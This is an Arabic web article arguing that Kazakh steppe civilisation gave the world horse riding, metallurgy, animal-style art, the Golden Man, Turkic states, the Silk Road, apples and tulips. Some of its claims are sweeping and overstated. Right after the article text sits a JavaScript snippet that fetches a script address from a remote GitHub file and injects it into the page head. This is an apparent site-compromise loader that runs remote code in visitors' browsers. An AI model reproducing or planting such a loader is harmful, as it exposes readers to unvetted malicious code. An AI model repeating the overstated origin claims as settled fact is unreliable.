كازاخ وعرب

7 حقائق تؤكدها حضارة السهوب الكازاخية

كتب الدكتور عبد الرحيم عبد الواحد
الفضاء هو مقياس كل شيء، والوقت هو مقياس كل الأحداث، وعندما تندمج آفاق المكان والزمان، يبدأ التاريخ الوطني، وهذه هي الحقيقة الثابتة على مر العصور والتاريخ، وليست مجرد قول مأثور له ايقاعات رنانة وجميل.
لقد أصبحت أرض كازاخستان، دون مبالغة، المكان الذي تنشأ منه العديد مفردات الثقافة المادية، فقد فتح سكان السهوب للعالم العديد من الابتكارات التقنية، وأصبحوا أجداد الاختراعات، التي لا تزال تستخدم في جميع أنحاء العالم، فيما تؤكد تحافظ السجلات التاريخية على الكثير من الحقائق المعروفة، والتي تُظهر كيف أن أسلاف الكازاخستانيين غيروا مسار التاريخ السياسي والاقتصادي مرارًا وتكرارًا في مناطق شاسعة من أوراسيا.
وهذا هي ابجديات وأسس التاريخ وعراقته، والتي تعتبر أساسا لفهم الاصول والأصالة التاريخية لمكان أو شخص ما، وخاصة التاريخ الوطني لكل دولة بأكمله وعمقه وتعقيده، لذلك هناك عدة أسباب حول تاريخ كازاخستان واعتماده على مفاهيم السهوب، ومنها:
أولاً، تم تشكيل غالبية جمعيات الدولة البدائية، على أراضي كازاخستان، لتصبح واحدة من عناصر التولد العرقي للأمة الكازاخستانية.
ثانياً: الإنجازات الثقافية البارزة لم يتم إدخالها إلى السهوب، ولكن في معظم الحالات ولدت على أرض كازاخستان ثم انتشرت إلى الغرب والشرق والشمال والجنوب.
ثالثًا: تؤكد الاكتشافات التاريخية للعقود الأخيرة بوضوح ارتباط الأسلاف الكازاخ الأوائل مع الابتكارات التكنولوجية الأكثر تقدمًا في عصرهم.
رابعا:إن أسماء بعض القبائل والعشائر الكازاخستانية أقدم بمئات السنين من الاسم العرقي “Kazak”، مما يشير بلا شك إلى أفق مختلف تمامًا للتاريخ الوطني مما كان يعتقد سابقًا.
لم تسمح وجهة النظر الأوروبية المركزية برؤية الحقيقية المتمثلة في أن مجموعات “ساكا والهون” والمجموعات العرقية التركية البدائية كانت جزءًا من التكون العرقي للأمة الكازاخية.
بالإضافة إلى ذلك، من المهم بشكل أساسي أن نلاحظ أننا نتحدث عن تاريخ كازاخستان، وهو أمر مشترك بين العديد من المجموعات العرقية التي تعيش على أرض كازاخستان لفترة طويلة. هذا هو التاريخ المشترك، الذي أسهم فيه العديد من الشخصيات البارزة من مختلف الأعراق.
والهدف من تحديد الجوانب المحددة للسهوب، هو فهم دور الكازاخ في التاريخ العالمي بموضوعية، بناءً على حقائق علمية صارمة، ومن هنا لابد من تحديد الجوانب السبعة للسهوب العظيم، وهي:

  1. ثقافة الفروسية
    يعلم الجميع أن السهوب الكبرى أعطت العالم تربية الخيول وثقافة الفروسية، ولأول مرة، تمت عملية استيطان الخيول من قبل الإنسان على أراضي كازاخستان الحديثة، كما يتضح من الحفريات في مستوطنة بوتاي في شمال البلاد.
    كما أعطت عملية تدجين الحصان لأجداد الكازاخ تفوقًا لا يمكن تصوره في ذلك الوقت، وعلى النطاق العالمي جعل أكبر ثورة في الاقتصاد والشؤون العسكرية. ومع ذلك، كانت عمليات تدجين الحصان علامة على بداية ثقافة الفروسية، وأصبح الفارس على الحصان، مسلحًا بالقوس، أو الحربة أو السيف، رمزًا للعصر عندما جاءت الإمبراطوريات القوية التي أنشأتها الشعوب البدوية إلى صدارة التاريخ.
    إن صورة حامل رمز الفروسية هي الشعار الأكثر تميزًا للعصر البطولي و “رمز ثقافي” خاص للعالم الرحل، يرتبط تكوينه بميلاد الفروسية.
    بل ولا تزال قوة محركات السيارات تقاس بالحصان، وهذا التقليد القديم هو تكريم رمزي للعصر العظيم عندما هيمن الفارس على الكوكب.
    ويجب ألا ننسى أن البشرية استمتعت بثمار هذه الثورة التكنولوجية العظيمة حتى القرن التاسع عشر، والتي جاءت إلى العالم من الأراضي الكازاخستانية القديمة.
    وتعود المكونات الأساسية للملابس الحديثة إلى العصر القديم لحضارة السهوب، حيث أدت ثقافة الفروسية إلى ظهور الملابس المثالية للمحارب الفارس. سعيًا وراء الراحة والعملية أثناء الركوب، قام الكازاخ الأسلاف، ولأول مرة بتقسيم الملابس إلى الأجزاء العلوية والسفلية. لذلك اخترعوا الأنواع الأولى من البنطلونات، التي وفرت الحرية في الركوب والمعركة.
    كما نجد بأن أولئك الذين يعيشون في السهوب يخيطون بنطلون من الجلد والشعر والقنب والصوف والكتان، وعلى مدى الألف سنة الماضية، لم يتغير هذا النوع من الملابس بشكل جذري. السراويل القديمة التي تم العثور عليها خلال الحفريات لها نفس شكل البنطال الحديث.
    ومن المعروف أيضًا أن جميع أنواع الأحذية اليوم هي “الخلف” للأحذية الناعمة ذات العمود والكعب، والتي يستخدمها البدو لركوبها.
    وفي محاولة لتحسين التحكم في الحصان أثناء الركوب، اخترع سكان السهوب السرج العالي والركاب، وسمحت الابتكارات للمتسابق بالجلوس بثقة على الحصان، وحتى عند التحرك بسرعة، لاستخدام سلاحه بشكل أكثر كفاءة – القوس، الرمح، السيف.
    وقد جلب أسلاف الكازاخ إلى الرماية الكمال في العدو – وتغيير تصميم السلاح: أصبح مركبًا، وأكثر راحة في الاستخدام وأكثر فتكًا، وحصلت الأسهم على ريش وطرف معدني، خارقة للدروع.
    ابتكار تكنولوجي آخر قدمته القبائل التركية التي سكنت أراضي كازاخستان كان اختراع صابر، السمة المميزة له كانت شفرة مستقيمة أو منحنية بمقبض يدور في اتجاه النصل. أصبحت هذه الأسلحة الأكثر أهمية وشيوعا في ترسانة الأسلحة الهجومية.
    كان أسلاف الكازاخ أول من قام بإنشاء درع وقائي للحصان والفارس من ألواح الدروع، وقد أدى ذلك إلى ظهور سلاح الفرسان المدججين بالسلاح – وهو أهم ابتكار عسكري للبدو الرحل الأوراسيين. وعلى أثر تطورها في الفترة من الألفية الأولى قبل الميلاد حتى القرن الأول على إنشاء نوع خاص من القوات – سلاح الفرسان الثقيل، الذي ضمّن لفترة طويلة تفوقًا عسكريًا غير مسبوق من رجال السهوب، حتى اختراع واستخدام الأسلحة النارية على نطاق واسع .
  2. المعادن القديمة من السهوب الكبرى
    لقد فتح اختراع طرق إنتاج المعادن حقبة تاريخية جديدة وغيرت إلى الأبد مسار التنمية البشرية، كما أصبحت الأراضي الكازاخستانية الغنية بخامات المعادن المتنوعة واحدة من أولى مراكز إنشاء المعادن. ونشأت مراكز إنتاج وتعدين وصهر البرونز والنحاس والرصاص والحديد والفضة والذهب وتصنيع الصفائح الحديدية في العصور القديمة على أراضي وسط وشمال وشرق كازاخستان.
    وطور الكازاخ الأوائل إنتاج معادن جديدة أكثر متانة، مما أتاح لهم فرصًا لتسريع التقدم التكنولوجي، ويتمثل ذلك في الأفران التي تم العثور عليها خلال الحفريات، والتي كانت تستخدم في صهر المعادن والديكورات والأدوات المنزلية وأسلحة العصور السابقة. وهذا يشير إلى التطور التكنولوجي العالي لحضارات السهوب الموجودة على أرضنا في العصور القديمة.
  3. فنون أسلوب الحيوانات
    عاش الكازاخ الأوائل في وئام تام مع العالم الخارجي واعتبروا أنفسهم جزءًا لا يتجزأ من الطبيعة. هذا المبدأ الأساسي هو تشكيل النظرة العالمية وقيم شعوب السهوب العظمى، حيث كان لدى سكان كازاخستان القدماء ثقافة متطورة للغاية – لديهم كتاباتهم وأساطيرهم الخاصة.
    إن العنصر الأكثر لفتا للنظر في تراثهم، هو انعكاس للأصالة الفنية وثراء المحتوى الروحي هو “فن أسلوب الحيوان”، حيث كان استخدام صور الحيوانات في الحياة اليومية رمزًا للترابط بين الإنسان والطبيعة، مشيرًا إلى الأدلة الروحية لأهل السهوب.
    وقد فضل الكازاخ الأوائل صور الحيوانات المفترسة، في الغالب القطط، على الأرجح، وليس من قبيل المصادفة أن نمر الثلج، وهو حيوان نادر ونبيل للحيوانات المحلية، أصبح أحد رموز كازاخستان ذات السيادة.
    وفي الوقت نفسه، يعكس نمط الحيوان أعلى مهارات الإنتاج لأجداد الكازاخ – ومن المعروف جيدًا المنحوتات الفنية وتقنية العمل مع المعادن: صهر وصب النحاس والبرونز، وطرق التصنيع المعقد للصفائح الذهبية. وبشكل عام، ظاهرة “نمط الحيوان” هي واحدة من أعلى القمم في الفن العالمي.
  4. الرجل الذهبي
    كان الاكتشاف المثير لعلوم العالم، الذي جعل من الممكن إلقاء نظرة جديدة على الأصول الكازاخية، هو “المحارب الذهبي”، الذي تم العثور عليه في كازاخستان عام 1969 في “إيسيك”، والذي يشار إليه في دوائر علماء الفن باسم “كازاخستان توت عنخ آمون”.
    حياة “المحارب الذهبي” مليئة بالمغامرات والابتكارات والابداعات، حيث ابتكر أسلاف الكازاخ إبداعات فنية عالية المستوى لا تزال تدهش الخيال، حيث تشير النجمة الذهبية الماهرة للمحارب الذهبي إلى إتقان واثق للكازاخ القدماء لتقنيات معالجة الذهب. كما كشفت عن أساطير غنية تعكس قوة وجماليات حضارة السهوب.
    لذلك رفع رجال السهوب شخصية القائد، إلى رتبة إله يشبه الشمس. ابتكروا الزخرفة الفاخرة للدفن على التقاليد الفكرية للأسلاف، فيما تم العثور على أحد الكؤوس الفضية بالقرب من المحارب، على علامات وآثار لأقدم كتابة وجدت على الإطلاق في آسيا الوسطى.
  5. مهد العالم التركي
    يتمتع “ألتاي” بأهمية كبيرة لتاريخ الكازاخستانيين والشعوب الأخرى في أوراسيا. من وقت سحيق، لم تزين هذه الجبال المهيبة أراضي كازاخستان فحسب، بل كانت أيضًا مهدًا للشعوب التركية. كان هنا، في منتصف الألفية الأولى، حيث ولد العالم التركي، وتم الوصول إلى معلم جديد في السهوب الكبرى.
    لقد شكل التاريخ والجغرافيا نموذجًا خاصًا لاستمرارية الدول التركية، إمبراطوريات السهوب العظيمة. ولعدة قرون، استبدلوا بعضهم البعض على التوالي، تاركين بصماتهم الهامة في المشهد الاقتصادي والسياسي والثقافي لكازاخستان في العصور الوسطى.
    وبعد أن أتقنت المساحة داخل حدود جغرافية واسعة، تمكنت الشعوب التركية من خلق تكافل للحضارات البدوية والمستقرة، مما أدى إلى ازدهار مدن العصور الوسطى، والتي أصبحت مراكز للفنون والعلوم والتجارة العالمية. على سبيل المثال، وفي العصور الوسطى الإنسانية ظهور واحدة من أعظم عقول الحضارة العالمية، ممثلا في أبو نصر الفارابي، من تركستان، وعاش خوجة أحمد الذي يعتبر، أحد القادة الروحيين العظماء للشعوب التركية.
  6. طريق الحرير العظيم
    ساهم الموقع الجغرافي الفريد لكازاخستان – في قلب القارة الأوراسية – في ظهور “ممرات” العبور بين البلدان والحضارات المختلفة منذ العصور القديمة. بدءًا من مطلع عصرنا، تم تحويل هذه الطرق البرية إلى نظام طريق الحرير العظيم – شبكة عابرة للقارات من العلاقات التجارية والثقافية بين الشرق والغرب والشمال والجنوب في أوراسيا الكبرى.
    لقد أصبح منبرا مستقرا لتشكيل وتطوير التبادل العالمي للسلع والتعاون الفكري بين الدول.
    لقد كان سكان السهوب العظمى الوسطاء الرئيسيين لأهم طريق تجاري للعصور القديمة والعصور الوسطى، مما يضمن التنظيم وسلامة شرايين النقل. ربط حزام السهوب الحضارات الصينية والهندية والفارسية والمتوسطية والشرق أوسطية والسلافية.
    ومنذ إنشائها، كانت خريطة طريق الحرير العظيم تقع إلى حد كبير داخل الإمبراطوريات التركية. خلال حكم الشعوب التركية في وسط أوراسيا، وصل طريق الحرير العظيم إلى ذروته وعزز الازدهار الاقتصادي والنمو الثقافي على نطاق دولي.
  7. كازاخستان – مسقط رأس “التفاح والزنبق”
    ثبت علميا أن سفوح “ألاتاو” هي “الوطن التاريخي” للتفاح والزنبق. ومن هنا انتشرت هذه النباتات المتواضعة، ولكنها مهمة للعالم بأسره تدريجيًا إلى جميع البلدان. والآن كازاخستان هي حارس السلف لجميع أشجار تفاح الأرض – شجرة تفاح Sievers. كانت هذه الشجرة هي التي أعطت العالم واحدة من أكثر ثمار عصرنا شيوعًا. التفاح الذي نعرفه هو الأصناف الوراثية لثمار أنواع أشجار التفاح. على الطرق القديمة لطريق الحرير من “سفوح ترانس إيلي ألاتاو” على أراضي كازاخستان، انتهى به المطاف في البحر الأبيض المتوسط ​​ثم انتشر في جميع أنحاء العالم. وكرمز لهذا التاريخ الطويل للفاكهة الشعبية، فإن واحدة من أجمل المدن في جنوب بلادنا تسمى “ألماتي”.
    في الواقع، هنا، توجد على سفوح في جبال Chu-Ili، لآلئ نباتات كازاخستان – زهور Regel، والتي ظهرت هذه النباتات الجميلة على أرض كازاخستان في شريط الصحاري والتلال في “تيان شان”، ومن الأراضي الكازاخستانية، انتشرت هذه الزهور المتواضعة وما لبثت أن امتدت تدريجيًا إلى بقية دول العالم. ،يوجد اليوم أكثر من 3 آلاف نوع من زهور التوليب المزروعة في العالم، ومعظمها “أحفاد” لزهور كازاخستان المحلية، فيما تحتضن كازاخستان حاليا 35 نوعًا من زهور التوليب.
(var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)

Leave a Reply

Back to top button
Open chat
Scan the code
Hello
Can we help you?